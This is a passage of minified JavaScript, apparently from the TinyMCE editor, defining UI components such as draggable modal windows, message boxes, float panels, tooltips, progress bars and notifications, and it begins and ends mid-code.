e._layout.recalc(e),t=e.layoutRect(),e._lastRect={x:t.x,y:t.y,w:t.w,h:t.h},!0},reflow:function(){var
t;if(l.remove(this),this.visible()){for(e.repaintControls=[],e.repaintControls.map={},this.recalc(),t=e.repaintControls.length;t--;)e.repaintControls[t].repaint();"flow"!==this.settings.layout&&"stack"!==this.settings.layout&&this.repaint(),e.repaintControls=[]}return
this}})}),r(_e,[g],function(e){function t(e){var
t,n,r,i,o,a,s,l,u=Math.max;return
t=e.documentElement,n=e.body,r=u(t.scrollWidth,n.scrollWidth),i=u(t.clientWidth,n.clientWidth),o=u(t.offsetWidth,n.offsetWidth),a=u(t.scrollHeight,n.scrollHeight),s=u(t.clientHeight,n.clientHeight),l=u(t.offsetHeight,n.offsetHeight),{width:r<o?i:r,height:a<l?s:a}}function
n(e){var t,n;if(e.changedTouches)for(t="screenX screenY pageX pageY
clientX clientY".split("
"),n=0;n<t.length;n++)e[t[n]]=e.changedTouches[0][t[n]]}return
function(r,i){function o(){return s.getElementById(i.handle||r)}var
a,s=i.document||document,l,u,c,d,f,p;i=i||{},u=function(r){var
u=t(s),h,m;n(r),r.preventDefault(),l=r.button,h=o(),f=r.screenX,p=r.screenY,m=window.getComputedStyle?window.getComputedStyle(h,null).getPropertyValue("cursor"):h.runtimeStyle.cursor,a=e("<div></div>").css({position:"absolute",top:0,left:0,width:u.width,height:u.height,zIndex:2147483647,opacity:1e-4,cursor:m}).appendTo(s.body),e(s).on("mousemove
touchmove",d).on("mouseup
touchend",c),i.start(r)},d=function(e){return
n(e),e.button!==l?c(e):(e.deltaX=e.screenX-f,e.deltaY=e.screenY-p,e.preventDefault(),void
i.drag(e))},c=function(t){n(t),e(s).off("mousemove
touchmove",d).off("mouseup
touchend",c),a.remove(),i.stop&&i.stop(t)},this.destroy=function(){e(o()).off()},e(o()).on("mousedown
touchstart",u)}}),r(Se,[g,_e],function(e,t){return{init:function(){var
e=this;e.on("repaint",e.renderScroll)},renderScroll:function(){function
n(){function t(t,a,s,l,u,c){var
d,f,p,h,m,g,v,y,b;if(f=i.getEl("scroll"+t)){if(y=a.toLowerCase(),b=s.toLowerCase(),e(i.getEl("absend")).css(y,i.layoutRect()[l]-1),!u)return
void
e(f).css("display","none");e(f).css("display","block"),d=i.getEl("body"),p=i.getEl("scroll"+t+"t"),h=d["client"+s]-2*o,h-=n&&r?f["client"+c]:0,m=d["scroll"+s],g=h/m,v={},v[y]=d["offset"+a]+o,v[b]=h,e(f).css(v),v={},v[y]=d["scroll"+a]*g,v[b]=h*g,e(p).css(v)}}var
n,r,a;a=i.getEl("body"),n=a.scrollWidth>a.clientWidth,r=a.scrollHeight>a.clientHeight,t("h","Left","Width","contentW",n,"Height"),t("v","Top","Height","contentH",r,"Width")}function
r(){function n(n,r,a,s,l){var
u,c=i._id+"-scroll"+n,d=i.classPrefix;e(i.getEl()).append('<div
id="'+c+'" class="'+d+"scrollbar
"+d+"scrollbar-"+n+'"><div
id="'+c+'t"
class="'+d+'scrollbar-thumb"></div></div>'),i.draghelper=new
t(c+"t",{start:function(){u=i.getEl("body")["scroll"+r],e("#"+c).addClass(d+"active")},drag:function(e){var
t,c,d,f,p=i.layoutRect();c=p.contentW>p.innerW,d=p.contentH>p.innerH,f=i.getEl("body")["client"+a]-2*o,f-=c&&d?i.getEl("scroll"+n)["client"+l]:0,t=f/i.getEl("body")["scroll"+a],i.getEl("body")["scroll"+r]=u+e["delta"+s]/t},stop:function(){e("#"+c).removeClass(d+"active")}})}i.classes.add("scroll"),n("v","Top","Height","Y","Width"),n("h","Left","Width","X","Height")}var
i=this,o=2;i.settings.autoScroll&&(i._hasScroll||(i._hasScroll=!0,r(),i.on("wheel",function(e){var
t=i.getEl("body");t.scrollLeft+=10*(e.deltaX||0),t.scrollTop+=10*e.deltaY,n()}),e(i.getEl("body")).on("scroll",n)),n())}}}),r(ke,[Ne,Se],function(e,t){return
e.extend({Defaults:{layout:"fit",containerCls:"panel"},Mixins:[t],renderHtml:function(){var
e=this,t=e._layout,n=e.settings.html;return
e.preRender(),t.preRender(e),"undefined"==typeof
n?n='<div id="'+e._id+'-body"
class="'+e.bodyClasses+'">'+t.renderHtml(e)+"</div>":("function"==typeof
n&&(n=n.call(e)),e._hasBody=!1),'<div
id="'+e._id+'"
class="'+e.classes+'" hidefocus="1"
tabindex="-1"
role="group">'+(e._preBodyHtml||"")+n+"</div>"}})}),r(Te,[ve],function(e){function
t(t,n,r){var i,o,a,s,l,u,c,d,f,p;return
f=e.getViewPort(),o=e.getPos(n),a=o.x,s=o.y,t.state.get("fixed")&&"static"==e.getRuntimeStyle(document.body,"position")&&(a-=f.x,s-=f.y),i=t.getEl(),p=e.getSize(i),l=p.width,u=p.height,p=e.getSize(n),c=p.width,d=p.height,r=(r||"").split(""),"b"===r[0]&&(s+=d),"r"===r[1]&&(a+=c),"c"===r[0]&&(s+=Math.round(d/2)),"c"===r[1]&&(a+=Math.round(c/2)),"b"===r[3]&&(s-=u),"r"===r[4]&&(a-=l),"c"===r[3]&&(s-=Math.round(u/2)),"c"===r[4]&&(a-=Math.round(l/2)),{x:a,y:s,w:l,h:u}}return{testMoveRel:function(n,r){for(var
i=e.getViewPort(),o=0;o<r.length;o++){var
a=t(this,n,r[o]);if(this.state.get("fixed")){if(a.x>0&&a.x+a.w<i.w&&a.y>0&&a.y+a.h<i.h)return
r[o]}else
if(a.x>i.x&&a.x+a.w<i.w+i.x&&a.y>i.y&&a.y+a.h<i.h+i.y)return
r[o]}return r[0]},moveRel:function(e,n){"string"!=typeof
n&&(n=this.testMoveRel(e,n));var r=t(this,e,n);return
this.moveTo(r.x,r.y)},moveBy:function(e,t){var
n=this,r=n.layoutRect();return
n.moveTo(r.x+e,r.y+t),n},moveTo:function(t,n){function r(e,t,n){return
e<0?0:e+n>t?(e=t-n,e<0?0:e):e}var
i=this;if(i.settings.constrainToViewport){var
o=e.getViewPort(window),a=i.layoutRect();t=r(t,o.w+o.x,a.w),n=r(n,o.h+o.y,a.h)}return
i.state.get("rendered")?i.layoutRect({x:t,y:n}).repaint():(i.settings.x=t,i.settings.y=n),i.fire("move",{x:t,y:n}),i}}}),r(Re,[ve],function(e){return{resizeToContent:function(){this._layoutRect.autoResize=!0,this._lastRect=null,this.reflow()},resizeTo:function(t,n){if(t<=1||n<=1){var
r=e.getWindowSize();t=t<=1?t*r.w:t,n=n<=1?n*r.h:n}return
this._layoutRect.autoResize=!1,this.layoutRect({minW:t,minH:n,w:t,h:n}).reflow()},resizeBy:function(e,t){var
n=this,r=n.layoutRect();return
n.resizeTo(r.w+e,r.h+t)}}}),r(Ae,[ke,Te,Re,ve,g,c],function(e,t,n,r,i,o){function
a(e,t){for(;e;){if(e==t)return!0;e=e.parent()}}function s(e){for(var
t=v.length;t--;){var
n=v[t],r=n.getParentCtrl(e.target);if(n.settings.autohide){if(r&&(a(r,n)||n.parent()===r))continue;e=n.fire("autohide",{target:e.target}),e.isDefaultPrevented()||n.hide()}}}function
l(){h||(h=function(e){2!=e.button&&s(e)},i(document).on("click
touchstart",h))}function u(){m||(m=function(){var
e;for(e=v.length;e--;)d(v[e])},i(window).on("scroll",m))}function
c(){if(!g){var
e=document.documentElement,t=e.clientWidth,n=e.clientHeight;g=function(){document.all&&t==e.clientWidth&&n==e.clientHeight||(t=e.clientWidth,n=e.clientHeight,C.hideAll())},i(window).on("resize",g)}}function
d(e){function t(t,n){for(var
r,i=0;i<v.length;i++)if(v[i]!=e)for(r=v[i].parent();r&&(r=r.parent());)r==e&&v[i].fixed(t).moveBy(0,n).repaint()}var
n=r.getViewPort().y;e.settings.autofix&&(e.state.get("fixed")?e._autoFixY>n&&(e.fixed(!1).layoutRect({y:e._autoFixY}).repaint(),t(!1,e._autoFixY-n)):(e._autoFixY=e.layoutRect().y,e._autoFixY<n&&(e.fixed(!0).layoutRect({y:0}).repaint(),t(!0,n-e._autoFixY))))}function
f(e,t){var n,r=C.zIndex||65535,o;if(e)y.push(t);else
for(n=y.length;n--;)y[n]===t&&y.splice(n,1);if(y.length)for(n=0;n<y.length;n++)y[n].modal&&(r++,o=y[n]),y[n].getEl().style.zIndex=r,y[n].zIndex=r,r++;var
a=i("#"+t.classPrefix+"modal-block",t.getContainerElm())[0];o?i(a).css("z-index",o.zIndex-1):a&&(a.parentNode.removeChild(a),b=!1),C.currentZIndex=r}function
p(e){var
t;for(t=v.length;t--;)v[t]===e&&v.splice(t,1);for(t=y.length;t--;)y[t]===e&&y.splice(t,1)}var
h,m,g,v=[],y=[],b,C=e.extend({Mixins:[t,n],init:function(e){var
t=this;t._super(e),t._eventsRoot=t,t.classes.add("floatpanel"),e.autohide&&(l(),c(),v.push(t)),e.autofix&&(u(),t.on("move",function(){d(this)})),t.on("postrender
show",function(e){if(e.control==t){var
n,r=t.classPrefix;t.modal&&!b&&(n=i("#"+r+"modal-block",t.getContainerElm()),n[0]||(n=i('<div
id="'+r+'modal-block" class="'+r+"reset
"+r+'fade"></div>').appendTo(t.getContainerElm())),o.setTimeout(function(){n.addClass(r+"in"),i(t.getEl()).addClass(r+"in")}),b=!0),f(!0,t)}}),t.on("show",function(){t.parents().each(function(e){if(e.state.get("fixed"))return
t.fixed(!0),!1})}),e.popover&&(t._preBodyHtml='<div
class="'+t.classPrefix+'arrow"></div>',t.classes.add("popover").add("bottom").add(t.isRtl()?"end":"start")),t.aria("label",e.ariaLabel),t.aria("labelledby",t._id),t.aria("describedby",t.describedBy||t._id+"-none")},fixed:function(e){var
t=this;if(t.state.get("fixed")!=e){if(t.state.get("rendered")){var
n=r.getViewPort();e?t.layoutRect().y-=n.y:t.layoutRect().y+=n.y}t.classes.toggle("fixed",e),t.state.set("fixed",e)}return
t},show:function(){var
e=this,t,n=e._super();for(t=v.length;t--&&v[t]!==e;);return
t===-1&&v.push(e),n},hide:function(){return
p(this),f(!1,this),this._super()},hideAll:function(){C.hideAll()},close:function(){var
e=this;return
e.fire("close").isDefaultPrevented()||(e.remove(),f(!1,e)),e},remove:function(){p(this),this._super()},postRender:function(){var
e=this;return
e.settings.bodyRole&&this.getEl("body").setAttribute("role",e.settings.bodyRole),e._super()}});return
C.hideAll=function(){for(var e=v.length;e--;){var
t=v[e];t&&t.settings.autohide&&(t.hide(),v.splice(e,1))}},C}),r(Be,[Ae,ke,ve,g,_e,ye,d,c],function(e,t,n,r,i,o,a,s){function
l(e){var
t="width=device-width,initial-scale=1.0,user-scalable=0,minimum-scale=1.0,maximum-scale=1.0",n=r("meta[name=viewport]")[0],i;a.overrideViewPort!==!1&&(n||(n=document.createElement("meta"),n.setAttribute("name","viewport"),document.getElementsByTagName("head")[0].appendChild(n)),i=n.getAttribute("content"),i&&"undefined"!=typeof
p&&(p=i),n.setAttribute("content",e?t:p))}function
u(e,t){c()&&t===!1&&r([document.documentElement,document.body]).removeClass(e+"fullscreen")}function
c(){for(var
e=0;e<f.length;e++)if(f[e]._fullscreen)return!0;return!1}function
d(){function e(){var
e,t=n.getWindowSize(),r;for(e=0;e<f.length;e++)r=f[e].layoutRect(),f[e].moveTo(f[e].settings.x||Math.max(0,t.w/2-r.w/2),f[e].settings.y||Math.max(0,t.h/2-r.h/2))}if(!a.desktop){var
t={w:window.innerWidth,h:window.innerHeight};s.setInterval(function(){var
e=window.innerWidth,n=window.innerHeight;t.w==e&&t.h==n||(t={w:e,h:n},r(window).trigger("resize"))},100)}r(window).on("resize",e)}var
f=[],p="",h=e.extend({modal:!0,Defaults:{border:1,layout:"flex",containerCls:"panel",role:"dialog",callbacks:{submit:function(){this.fire("submit",{data:this.toJSON()})},close:function(){this.close()}}},init:function(e){var
r=this;r._super(e),r.isRtl()&&r.classes.add("rtl"),r.classes.add("window"),r.bodyClasses.add("window-body"),r.state.set("fixed",!0),e.buttons&&(r.statusbar=new
t({layout:"flex",border:"1 0 0
0",spacing:3,padding:10,align:"center",pack:r.isRtl()?"start":"end",defaults:{type:"button"},items:e.buttons}),r.statusbar.classes.add("foot"),r.statusbar.parent(r)),r.on("click",function(e){var
t=r.classPrefix+"close";(n.hasClass(e.target,t)||n.hasClass(e.target.parentNode,t))&&r.close()}),r.on("cancel",function(){r.close()}),r.aria("describedby",r.describedBy||r._id+"-none"),r.aria("label",e.title),r._fullscreen=!1},recalc:function(){var
e=this,t=e.statusbar,r,i,o,a;e._fullscreen&&(e.layoutRect(n.getWindowSize()),e.layoutRect().contentH=e.layoutRect().innerH),e._super(),r=e.layoutRect(),e.settings.title&&!e._fullscreen&&(i=r.headerW,i>r.w&&(o=r.x-Math.max(0,i/2),e.layoutRect({w:i,x:o}),a=!0)),t&&(t.layoutRect({w:e.layoutRect().innerW}).recalc(),i=t.layoutRect().minW+r.deltaW,i>r.w&&(o=r.x-Math.max(0,i-r.w),e.layoutRect({w:i,x:o}),a=!0)),a&&e.recalc()},initLayoutRect:function(){var
e=this,t=e._super(),r=0,i;if(e.settings.title&&!e._fullscreen){i=e.getEl("head");var
o=n.getSize(i);t.headerW=o.width,t.headerH=o.height,r+=t.headerH}e.statusbar&&(r+=e.statusbar.layoutRect().h),t.deltaH+=r,t.minH+=r,t.h+=r;var
a=n.getWindowSize();return
t.x=e.settings.x||Math.max(0,a.w/2-t.w/2),t.y=e.settings.y||Math.max(0,a.h/2-t.h/2),t},renderHtml:function(){var
e=this,t=e._layout,n=e._id,r=e.classPrefix,i=e.settings,o="",a="",s=i.html;return
e.preRender(),t.preRender(e),i.title&&(o='<div
id="'+n+'-head"
class="'+r+'window-head"><div
id="'+n+'-title"
class="'+r+'title">'+e.encode(i.title)+'</div><div
id="'+n+'-dragh"
class="'+r+'dragh"></div><button
type="button" class="'+r+'close"
aria-hidden="true"><i class="mce-ico
mce-i-remove"></i></button></div>'),i.url&&(s='<iframe
src="'+i.url+'"
tabindex="-1"></iframe>'),"undefined"==typeof
s&&(s=t.renderHtml(e)),e.statusbar&&(a=e.statusbar.renderHtml()),'<div
id="'+n+'" class="'+e.classes+'"
hidefocus="1"><div
class="'+e.classPrefix+'reset"
role="application">'+o+'<div
id="'+n+'-body"
class="'+e.bodyClasses+'">'+s+"</div>"+a+"</div></div>"},fullscreen:function(e){var
t=this,i=document.documentElement,a,l=t.classPrefix,u;if(e!=t._fullscreen)if(r(window).on("resize",function(){var
e;if(t._fullscreen)if(a)t._timer||(t._timer=s.setTimeout(function(){var
e=n.getWindowSize();t.moveTo(0,0).resizeTo(e.w,e.h),t._timer=0},50));else{e=(new
Date).getTime();var
r=n.getWindowSize();t.moveTo(0,0).resizeTo(r.w,r.h),(new
Date).getTime()-e>50&&(a=!0)}}),u=t.layoutRect(),t._fullscreen=e,e){t._initial={x:u.x,y:u.y,w:u.w,h:u.h},t.borderBox=o.parseBox("0"),t.getEl("head").style.display="none",u.deltaH-=u.headerH+2,r([i,document.body]).addClass(l+"fullscreen"),t.classes.add("fullscreen");var
c=n.getWindowSize();t.moveTo(0,0).resizeTo(c.w,c.h)}else
t.borderBox=o.parseBox(t.settings.border),t.getEl("head").style.display="",u.deltaH+=u.headerH,r([i,document.body]).removeClass(l+"fullscreen"),t.classes.remove("fullscreen"),t.moveTo(t._initial.x,t._initial.y).resizeTo(t._initial.w,t._initial.h);return
t.reflow()},postRender:function(){var
e=this,t;setTimeout(function(){e.classes.add("in"),e.fire("open")},0),e._super(),e.statusbar&&e.statusbar.postRender(),e.focus(),this.dragHelper=new
i(e._id+"-dragh",{start:function(){t={x:e.layoutRect().x,y:e.layoutRect().y}},drag:function(n){e.moveTo(t.x+n.deltaX,t.y+n.deltaY)}}),e.on("submit",function(t){t.isDefaultPrevented()||e.close()}),f.push(e),l(!0)},submit:function(){return
this.fire("submit",{data:this.toJSON()})},remove:function(){var
e=this,t;for(e.dragHelper.destroy(),e._super(),e.statusbar&&this.statusbar.remove(),u(e.classPrefix,!1),t=f.length;t--;)f[t]===e&&f.splice(t,1);l(f.length>0)},getContentWindow:function(){var
e=this.getEl().getElementsByTagName("iframe")[0];return
e?e.contentWindow:null}});return d(),h}),r(De,[Be],function(e){var
t=e.extend({init:function(e){e={border:1,padding:20,layout:"flex",pack:"center",align:"center",containerCls:"panel",autoScroll:!0,
buttons:{type:"button",text:"Ok",action:"ok"},items:{type:"label",multiline:!0,maxWidth:500,maxHeight:200}},this._super(e)},Statics:{OK:1,OK_CANCEL:2,YES_NO:3,YES_NO_CANCEL:4,msgBox:function(n){function
r(e,t,n){return{type:"button",text:e,subtype:n?"primary":"",onClick:function(e){e.control.parents()[1].close(),o(t)}}}var
i,o=n.callback||function(){};switch(n.buttons){case
t.OK_CANCEL:i=[r("Ok",!0,!0),r("Cancel",!1)];break;case
t.YES_NO:case
t.YES_NO_CANCEL:i=[r("Yes",1,!0),r("No",0)],n.buttons==t.YES_NO_CANCEL&&i.push(r("Cancel",-1));break;default:i=[r("Ok",!0,!0)]}return
new
e({padding:20,x:n.x,y:n.y,minWidth:300,minHeight:100,layout:"flex",pack:"center",align:"center",buttons:i,title:n.title,role:"alertdialog",items:{type:"label",multiline:!0,maxWidth:500,maxHeight:200,text:n.text},onPostRender:function(){this.aria("describedby",this.items()[0]._id)},onClose:n.onClose,onCancel:function(){o(!1)}}).renderTo(document.body).reflow()},alert:function(e,n){return"string"==typeof
e&&(e={text:e}),e.callback=n,t.msgBox(e)},confirm:function(e,n){return"string"==typeof
e&&(e={text:e}),e.callback=n,e.buttons=t.OK_CANCEL,t.msgBox(e)}}});return
t}),r(Le,[Be,De],function(e,t){return function(n){function
r(){if(s.length)return s[s.length-1]}function
i(e){n.fire("OpenWindow",{win:e})}function
o(e){n.fire("CloseWindow",{win:e})}var
a=this,s=[];a.windows=s,n.on("remove",function(){for(var
e=s.length;e--;)s[e].close()}),a.open=function(t,r){var a;return
n.editorManager.setActive(n),t.title=t.title||"
",t.url=t.url||t.file,t.url&&(t.width=parseInt(t.width||320,10),t.height=parseInt(t.height||240,10)),t.body&&(t.items={defaults:t.defaults,type:t.bodyType||"form",items:t.body,data:t.data,callbacks:t.commands}),t.url||t.buttons||(t.buttons=[{text:"Ok",subtype:"primary",onclick:function(){a.find("form")[0].submit()}},{text:"Cancel",onclick:function(){a.close()}}]),a=new
e(t),s.push(a),a.on("close",function(){for(var
e=s.length;e--;)s[e]===a&&s.splice(e,1);s.length||n.focus(),o(a)}),t.data&&a.on("postRender",function(){this.find("*").each(function(e){var
n=e.name();n in
t.data&&e.value(t.data[n])})}),a.features=t||{},a.params=r||{},1===s.length&&n.nodeChanged(),a=a.renderTo().reflow(),i(a),a},a.alert=function(e,r,a){var
s;s=t.alert(e,function(){r?r.call(a||this):n.focus()}),s.on("close",function(){o(s)}),i(s)},a.confirm=function(e,n,r){var
a;a=t.confirm(e,function(e){n.call(r||this,e)}),a.on("close",function(){o(a)}),i(a)},a.close=function(){r()&&r().close()},a.getParams=function(){return
r()?r().params:null},a.setParams=function(e){r()&&(r().params=e)},a.getWindows=function(){return
s}}}),r(Me,[xe,Te],function(e,t){return
e.extend({Mixins:[t],Defaults:{classes:"widget tooltip
tooltip-n"},renderHtml:function(){var
e=this,t=e.classPrefix;return'<div
id="'+e._id+'"
class="'+e.classes+'"
role="presentation"><div
class="'+t+'tooltip-arrow"></div><div
class="'+t+'tooltip-inner">'+e.encode(e.state.get("text"))+"</div></div>"},bindStates:function(){var
e=this;return
e.state.on("change:text",function(t){e.getEl().lastChild.innerHTML=e.encode(t.value)}),e._super()},repaint:function(){var
e=this,t,n;t=e.getEl().style,n=e._layoutRect,t.left=n.x+"px",t.top=n.y+"px",t.zIndex=131070}})}),r(Pe,[xe,Me],function(e,t){var
n,r=e.extend({init:function(e){var
t=this;t._super(e),e=t.settings,t.canFocus=!0,e.tooltip&&r.tooltips!==!1&&(t.on("mouseenter",function(n){var
r=t.tooltip().moveTo(-65535);if(n.control==t){var
i=r.text(e.tooltip).show().testMoveRel(t.getEl(),["bc-tc","bc-tl","bc-tr"]);r.classes.toggle("tooltip-n","bc-tc"==i),r.classes.toggle("tooltip-nw","bc-tl"==i),r.classes.toggle("tooltip-ne","bc-tr"==i),r.moveRel(t.getEl(),i)}else
r.hide()}),t.on("mouseleave mousedown
click",function(){t.tooltip().hide()})),t.aria("label",e.ariaLabel||e.tooltip)},tooltip:function(){return
n||(n=new
t({type:"tooltip"}),n.renderTo()),n},postRender:function(){var
e=this,t=e.settings;e._super(),e.parent()||!t.width&&!t.height||(e.initLayoutRect(),e.repaint()),t.autofocus&&e.focus()},bindStates:function(){function
e(e){n.aria("disabled",e),n.classes.toggle("disabled",e)}function
t(e){n.aria("pressed",e),n.classes.toggle("active",e)}var
n=this;return
n.state.on("change:disabled",function(t){e(t.value)}),n.state.on("change:active",function(e){t(e.value)}),n.state.get("disabled")&&e(!0),n.state.get("active")&&t(!0),n._super()},remove:function(){this._super(),n&&(n.remove(),n=null)}});return
r}),r(Oe,[Pe],function(e){return
e.extend({Defaults:{value:0},init:function(e){var
t=this;t._super(e),t.classes.add("progress"),t.settings.filter||(t.settings.filter=function(e){return
Math.round(e)})},renderHtml:function(){var
e=this,t=e._id,n=this.classPrefix;return'<div
id="'+t+'"
class="'+e.classes+'"><div
class="'+n+'bar-container"><div
class="'+n+'bar"></div></div><div
class="'+n+'text">0%</div></div>'},postRender:function(){var
e=this;return
e._super(),e.value(e.settings.value),e},bindStates:function(){function
e(e){e=t.settings.filter(e),t.getEl().lastChild.innerHTML=e+"%",t.getEl().firstChild.firstChild.style.width=e+"%"}var
t=this;return
t.state.on("change:value",function(t){e(t.value)}),e(t.state.get("value")),t._super()}})}),r(He,[xe,Te,Oe,c],function(e,t,n,r){return
e.extend({Mixins:[t],Defaults:{classes:"widget
notification"},init:function(e){var
t=this;t._super(e),e.text&&t.text(e.text),e.icon&&(t.icon=e.icon),e.color&&(t.color=e.color),e.type&&t.classes.add("notification-"+e.type),e.timeout&&(e.timeout<0||e.timeout>0)&&!e.closeButton?t.closeButton=!1:(t.classes.add("has-close"),t.closeButton=!0),e.progressBar&&(t.progressBar=new
n),t.on("click",function(e){e.target.className.indexOf(t.classPrefix+"close")!=-1&&t.close()})},renderHtml:function(){var
e=this,t=e.classPrefix,n="",r="",i="",o="";return
e.icon&&(n='<i class="'+t+"ico
"+t+"i-"+e.icon+'"></i>'),e.color&&(o='
style="background-color:
'+e.color+'"'),e.closeButton&&(r='<button
type="button" class="'+t+'close"
aria-hidden="true">\xd7</button>'),e.progressBar&&(i=e.progressBar.renderHtml()),'<div
id="'+e._id+'"
class="'+e.classes+'"'+o+'
role="presentation">'+n+'<div
class="'+t+'notification-inner">'+e.state.get("text")+"</div>"+i+r+"</div>"},postRender:function(){var
e=this;return
r.setTimeout(function(){e.$el.addClass(e.classPrefix+"in")}),e._super()},bindStates:function(){var
e=this;return
e.state.on("change:text",function(t){e.getEl().childNodes[1].innerHTML=t.value}),e.progressBar&&e.progressBar.bindStates(),e._super()},close:function(){var
e=this;return
e.fire("close").isDefaultPrevented()||e.remove(),e},repaint:function(){var
e=this,t,n;t=e.getEl().style,n=e._layoutRect,t.left=n.x+"px",t.top=n.y+"px",t.zIndex=65534}})}),r(Ie,[He,c,m],function(e,t,n){return
function(r){function i(){if(f.length)return f[f.length-1]}function
o(){t.requestAnimationFrame(function(){a(),s()})}function a(){for(var
e=0;e<f.length;e++)f[e].moveTo(0,0)}function s(){if(f.length>0){var
e=f.slice(0,1)[0],t=r.inline?r.getElement():r.getContentAreaContainer();if(e.moveRel(t,"tc-tc"),f.length>1)for(var
n=1;n<f.length;n++)f[n].moveRel(f[n-1].getEl(),"bc-tc")}}function
l(e,t){if(!c(t))return null;var r=n.grep(e,function(e){return
u(t,e)});return 0===r.length?null:r[0]}function u(e,t){return
e.type===t.settings.type&&e.text===t.settings.text}function
c(e){return!e.progressBar&&!e.timeout}var
d=this,f=[];d.notifications=f,r.on("remove",function(){for(var
e=f.length;e--;)f[e].close()}),r.on("ResizeEditor",s),r.on("ResizeWindow",o),d.open=function(t){if(!r.removed){var
n;r.editorManager.setActive(r);var i=l(f,t);return null===i?(n=new
e(t),f.push(n),t.timeout>0&&(n.timer=setTimeout(function(){n.close()},t.timeout)),n.on("close",function(){var
e=f.length;for(n.timer&&r.getWin().clearTimeout(n.timer);e--;)f[e]===n&&f.splice(e,1);s()}),n.renderTo(),s()):n=i,n}},d.close=function(){i()&&i().close()},d.getNotifications=function(){return
f},r.on("SkinLoaded",function(){var
e=r.settings.service_message;e&&r.notificationManager.open({text:e,type:"warning",timeout:0,icon:""})})}}),r(Fe,[w],function(e){function
t(t,n,r){for(var
i=[];n&&n!=t;n=n.parentNode)i.push(e.nodeIndex(n,r));return
i}function n(e,t){var
n,r,i;for(r=e,n=t.length-1;n>=0;n--){if(i=r.childNodes,t[n]>i.length-1)return
null;r=i[t[n]]}return
r}return{create:t,resolve:n}}),r(ze,[I,T,y,Fe,A,C,d,m,c,k,$,oe],function(e,t,n,r,i,o,a,s,l,u,c,d){return
function(f){function
p(e,t){try{f.getDoc().execCommand(e,!1,t)}catch(n){}}function h(){var
e=f.getDoc().documentMode;return e?e:6}function m(e){return
e.isDefaultPrevented()}function g(e){var
t,n;e.dataTransfer&&(f.selection.isCollapsed()&&"IMG"==e.target.tagName&&re.select(e.target),t=f.selection.getContent(),t.length>0&&(n=ce+escape(f.id)+","+escape(t),e.dataTransfer.setData(de,n)))}function
v(e){var t;return
e.dataTransfer&&(t=e.dataTransfer.getData(de),t&&t.indexOf(ce)>=0)?(t=t.substr(ce.length).split(","),{id:unescape(t[0]),html:unescape(t[1])}):null}function
y(e){f.queryCommandSupported("mceInsertClipboardContent")?f.execCommand("mceInsertClipboardContent",!1,{content:e}):f.execCommand("mceInsertContent",!1,e)}function
b(){function i(e){var
t=x.schema.getBlockElements(),n=f.getBody();if("BR"!=e.nodeName)return!1;for(;e!=n&&!t[e.nodeName];e=e.parentNode)if(e.nextSibling)return!1;return!0}function
o(e,t){var
n;for(n=e.nextSibling;n&&n!=t;n=n.nextSibling)if((3!=n.nodeType||0!==Z.trim(n.data).length)&&n!==t)return!1;return
n===t}function a(e,t,r){var
o,a,s;if(x.isChildOf(e,f.getBody()))for(s=x.schema.getNonEmptyElements(),o=new
n(r||e,e);a=o[t?"next":"prev"]();){if(s[a.nodeName]&&!i(a))return
a;if(3==a.nodeType&&a.data.length>0)return a}}function u(e){var
n,r,i,o,s;if(!e.collapsed&&(n=x.getParent(t.getNode(e.startContainer,e.startOffset),x.isBlock),r=x.getParent(t.getNode(e.endContainer,e.endOffset),x.isBlock),s=f.schema.getTextBlockElements(),n!=r&&s[n.nodeName]&&s[r.nodeName]&&"false"!==x.getContentEditable(n)&&"false"!==x.getContentEditable(r)))return
e.deleteContents(),i=a(n,!1),o=a(r,!0),x.isEmpty(r)||Z(n).append(r.childNodes),Z(r).remove(),i?1==i.nodeType?"BR"==i.nodeName?(e.setStartBefore(i),e.setEndBefore(i)):(e.setStartAfter(i),e.setEndAfter(i)):(e.setStart(i,i.data.length),e.setEnd(i,i.data.length)):o&&(1==o.nodeType?(e.setStartBefore(o),e.setEndBefore(o)):(e.setStart(o,0),e.setEnd(o,0))),w.setRng(e),!0}function
c(e,n){var r,i,s,l,u,c;if(!e.collapsed)return
e;if(u=e.startContainer,c=e.startOffset,3==u.nodeType)if(n){if(c<u.data.length)return
e}else if(c>0)return
e;r=t.getNode(u,c),s=x.getParent(r,x.isBlock),i=a(f.getBody(),n,r),l=x.getParent(i,x.isBlock);var
d=1===u.nodeType&&c>u.childNodes.length-1;if(!r||!i)return
e;if(l&&s!=l)if(n){if(!o(s,l))return
e;1==r.nodeType?"BR"==r.nodeName?e.setStartBefore(r):e.setStartAfter(r):e.setStart(r,r.data.length),1==i.nodeType?e.setEnd(i,0):e.setEndBefore(i)}else{if(!o(l,s))return
e;1==i.nodeType?"BR"==i.nodeName?e.setStartBefore(i):e.setStartAfter(i):e.setStart(i,i.data.length),1==r.nodeType&&d?e.setEndAfter(r):e.setEndBefore(r)}return
e}function d(e){var t=w.getRng();if(t=c(t,e),u(t))return!0}function
p(e,t){function n(e,n){return
m=Z(n).parents().filter(function(e,t){return!!f.schema.getTextInlineElements()[t.nodeName]}),l=e.cloneNode(!1),m=s.map(m,function(e){return
e=e.cloneNode(!1),l.hasChildNodes()?(e.appendChild(l.firstChild),l.appendChild(e)):l.appendChild(e),l.appendChild(e),e}),m.length?(h=x.create("br"),m[0].appendChild(h),x.replace(l,e),t.setStartBefore(h),t.setEndBefore(h),f.selection.setRng(t),h):null}function
i(e){return e&&f.schema.getTextBlockElements()[e.tagName]}var
o,a,l,u,c,d,p,h,m;if(t.collapsed&&(d=t.startContainer,p=t.startOffset,a=x.getParent(d,x.isBlock),i(a)))if(1==d.nodeType){if(d=d.childNodes[p],d&&"BR"!=d.tagName)return;if(c=e?a.nextSibling:a.previousSibling,x.isEmpty(a)&&i(c)&&x.isEmpty(c)&&n(a,d))return
x.remove(c),!0}else
if(3==d.nodeType){if(o=r.create(a,d),u=a.cloneNode(!0),d=r.resolve(u,o),e){if(p>=d.data.length)return;d.deleteData(p,1)}else{if(p<=0)return;d.deleteData(p-1,1)}if(x.isEmpty(u))return
n(a,d)}}function h(e){var
t,n,r;d(e)||(s.each(f.getBody().getElementsByTagName("*"),function(e){"SPAN"==e.tagName&&e.setAttribute("mce-data-marked",1),!e.hasAttribute("data-mce-style")&&e.hasAttribute("style")&&f.dom.setAttrib(e,"style",f.dom.getAttrib(e,"style"))}),t=new
